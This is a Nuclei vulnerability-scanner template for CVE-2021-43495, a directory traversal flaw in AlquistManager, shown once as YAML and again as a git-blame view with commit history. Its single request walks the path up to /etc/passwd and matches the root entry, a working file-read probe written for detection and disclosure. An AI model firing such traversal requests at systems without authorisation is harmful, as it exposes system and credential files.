nuclei-templates/http/cves/2021/CVE-2021-43495.yaml

id: CVE-2021-43495

info:
  name: AlquistManager Local File Inclusion
  author: pikpikcu
  severity: high
  description: AlquistManager branch as of commit 280d99f43b11378212652e75f6f3159cde9c1d36 is affected by a directory traversal vulnerability in alquist/IO/input.py. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information or remote code execution.
  remediation: |
    Ensure that user-supplied input is properly validated and sanitized before being used in file inclusion functions.
  reference:
    - https://github.com/AlquistManager/alquist/issues/43
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43495
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-43495
    cwe-id: CWE-22
    epss-score: 0.03503
    epss-percentile: 0.90533
    cpe: cpe:2.3:a:alquistai:alquist:2017-06-13:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: alquistai
    product: alquist
  tags: cve,cve2021,lfi,alquist,alquistai

http:
  - method: GET
    path:
      - "{{BaseURL}}/asd/../../../../../../../../etc/passwd"

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
# digest: 4a0a00473045022100f4f6dd1f046bc77bec8649e0e307c8c87734ecdbb3d86515695f9b08e7a66c6002201d2d1ecd18971bfad04e7522baf4ef410b31da379f3c573140d0a91e2673a11e:922c64590222798bb761d5b6d8e72950
Create CVE-2021-43495.yaml 2021-11-23 01:30:30 +00:00			`id: CVE-2021-43495`

			`info:`
Enhancement: cves/2021/CVE-2021-43495.yaml by mp 2022-02-28 18:37:19 +00:00			`name: AlquistManager Local File Inclusion`
Create CVE-2021-43495.yaml 2021-11-23 01:30:30 +00:00			`author: pikpikcu`
			`severity: high`
Added CPE and EPSS Score to CVE Templates 2023-04-12 10:55:48 +00:00			`description: AlquistManager branch as of commit 280d99f43b11378212652e75f6f3159cde9c1d36 is affected by a directory traversal vulnerability in alquist/IO/input.py. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.`
Added Impact 2023-09-27 15:51:13 +00:00			`impact: \|`
			`Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information or remote code execution.`
updated other CVEs 2023-09-06 13:22:34 +00:00			`remediation: \|`
			`Ensure that user-supplied input is properly validated and sanitized before being used in file inclusion functions.`
Create CVE-2021-43495.yaml 2021-11-23 01:30:30 +00:00			`reference:`
			`- https://github.com/AlquistManager/alquist/issues/43`
Update CVE-2021-43495.yaml 2021-11-23 03:46:15 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2021-43495`
Auto Generated CVE annotations [Tue Nov 23 03:59:46 UTC 2021] :robot: 2021-11-23 03:59:46 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 7.5`
Auto Generated CVE annotations [Tue Nov 23 03:59:46 UTC 2021] :robot: 2021-11-23 03:59:46 +00:00			`cve-id: CVE-2021-43495`
			`cwe-id: CWE-22`
TemplateMan Update [Tue Dec 12 11:07:51 UTC 2023] :robot: 2023-12-12 11:07:52 +00:00			`epss-score: 0.03503`
			`epss-percentile: 0.90533`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`cpe: cpe:2.3:a:alquistai:alquist:2017-06-13:::::::*`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 1`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: alquistai`
			`product: alquist`
tags enhancements 2023-12-05 09:50:33 +00:00			`tags: cve,cve2021,lfi,alquist,alquistai`
Create CVE-2021-43495.yaml 2021-11-23 01:30:30 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CVE-2021-43495.yaml 2021-11-23 01:30:30 +00:00			`- method: GET`
			`path:`
			`- "{{BaseURL}}/asd/../../../../../../../../etc/passwd"`
Update CVE-2021-43495.yaml 2021-11-23 03:46:15 +00:00
Create CVE-2021-43495.yaml 2021-11-23 01:30:30 +00:00			`matchers:`
			`- type: regex`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`part: body`
Create CVE-2021-43495.yaml 2021-11-23 01:30:30 +00:00			`regex:`
			`- "root:.*:0:0:"`
Auto Template Signing [Fri Dec 29 09:30:43 UTC 2023] :robot: 2023-12-29 09:30:44 +00:00			`# digest: 4a0a00473045022100f4f6dd1f046bc77bec8649e0e307c8c87734ecdbb3d86515695f9b08e7a66c6002201d2d1ecd18971bfad04e7522baf4ef410b31da379f3c573140d0a91e2673a11e:922c64590222798bb761d5b6d8e72950`